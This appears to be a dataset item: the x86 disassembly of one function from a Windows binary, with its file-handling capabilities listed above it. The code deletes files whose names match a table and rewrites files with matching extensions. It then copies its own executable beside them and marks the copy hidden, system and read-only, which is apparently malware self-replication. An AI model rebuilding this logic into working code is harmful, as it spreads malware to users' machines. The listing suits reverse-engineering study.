Function at 0x402e40
Capabilities:
Check if file exists
Copy file
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x368], ecx
mov dword [ebp - 0x36c], 0
jmp 0x402e76
mov eax, dword [ebp - 0x36c]
add eax, 1
mov dword [ebp - 0x36c], eax
mov ecx, dword [ebp - 0x36c]
cmp dword [ecx*4 + 0x75de84], 0
je 0x402ebd
mov edx, dword [ebp - 0x36c]
mov eax, dword [edx*4 + 0x75de84]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402ebb
push 0x80
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x402e67
push 0x2e
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00403f10
add esp, 8
test eax, eax
je 0x4031ee
mov dword [ebp - 0x364], 0
jmp 0x402eee
mov edx, dword [ebp - 0x364]
add edx, 1
mov dword [ebp - 0x364], edx
mov eax, dword [ebp - 0x364]
cmp dword [eax*4 + 0x75de4c], 0
je 0x4031ee
push 0x2e
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00403f10
add esp, 8
add eax, 1
push eax
mov edx, dword [ebp - 0x364]
mov eax, dword [edx*4 + 0x75de4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4031e9
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x368]
call fcn.00402be0
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0
je 0x4031e7
cmp dword [ebp - 0x370], 0xc8000
jae 0x4031e7
mov dword [ebp - 0x360], 0
push 0xc8000
call fcn.0042d3bf
add esp, 4
mov dword [ebp - 0x374], eax
mov edx, dword [ebp - 0x374]
mov dword [ebp - 0x360], edx
cmp dword [ebp - 0x360], 0
je 0x4031e7
mov eax, dword [ebp - 0x360]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x368]
call fcn.00402c40
test eax, eax
je 0x4031c2
mov ecx, 0x12
mov esi, 0x706890
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
push 0
push 0x400
lea edx, [ebp - 0x4c]
push edx
mov eax, dword [ebp - 0x360]
push eax
mov ecx, dword [ebp - 0x368]
call fcn.00402d70
cmp eax, 0xffffffff
jne 0x403076
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea edx, [ebp - 0x4c]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x368]
call fcn.00402cc0
test eax, eax
je 0x403076
push 0x7068d8
mov ecx, dword [ebp - 0x364]
mov edx, dword [ecx*4 + 0x75de4c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x403048
push 0x7068e0
mov eax, dword [ebp - 0x364]
mov ecx, dword [eax*4 + 0x75de4c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40305e
push 1
push 0x75de00
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x368]
call fcn.00402cc0
push 1
mov eax, dword [ebp - 0x360]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x368]
call fcn.00402cc0
mov dword [ebp - 0x35c], 0
push 0x400
call fcn.0042d3bf
add esp, 4
mov dword [ebp - 0x378], eax
mov edx, dword [ebp - 0x378]
mov dword [ebp - 0x35c], edx
cmp dword [ebp - 0x35c], 0
je 0x4031c2
mov byte [ebp - 0x358], 0
push 0x207
push 0
lea eax, [ebp - 0x357]
push eax
call fcn.0061cde0
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 0x7068e4
push 0x208
lea edx, [ebp - 0x358]
push edx
call fcn.00403ed0
add esp, 0x10
push 0x5c
lea eax, [ebp - 0x358]
push eax
call fcn.00403e40
add esp, 8
mov byte [eax], 0
push 0x400
push 0
mov ecx, dword [ebp - 0x35c]
push ecx
call fcn.0061cde0
add esp, 0xc
push 0x7068e8
lea edx, [ebp - 0x358]
push edx
push 0x7068f4
push 0x400
mov eax, dword [ebp - 0x35c]
push eax
call fcn.00403ed0
add esp, 0x14
mov ecx, dword [ebp - 0x35c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40319d
mov byte [ebp - 0x150], 0
push 0x103
push 0
lea edx, [ebp - 0x14f]
push edx
call fcn.0061cde0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x150]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
mov ecx, dword [ebp - 0x35c]
push ecx
lea edx, [ebp - 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x27
mov eax, dword [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [ebp - 0x35c]
mov dword [ebp - 0x37c], ecx
mov edx, dword [ebp - 0x37c]
push edx
call fcn.0042d3c8
add esp, 4
mov dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x380], eax
mov ecx, dword [ebp - 0x380]
push ecx
call fcn.0042d3c8
add esp, 4
mov dword [ebp - 0x360], 0
jmp 0x4031ee
jmp 0x402edf
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret 8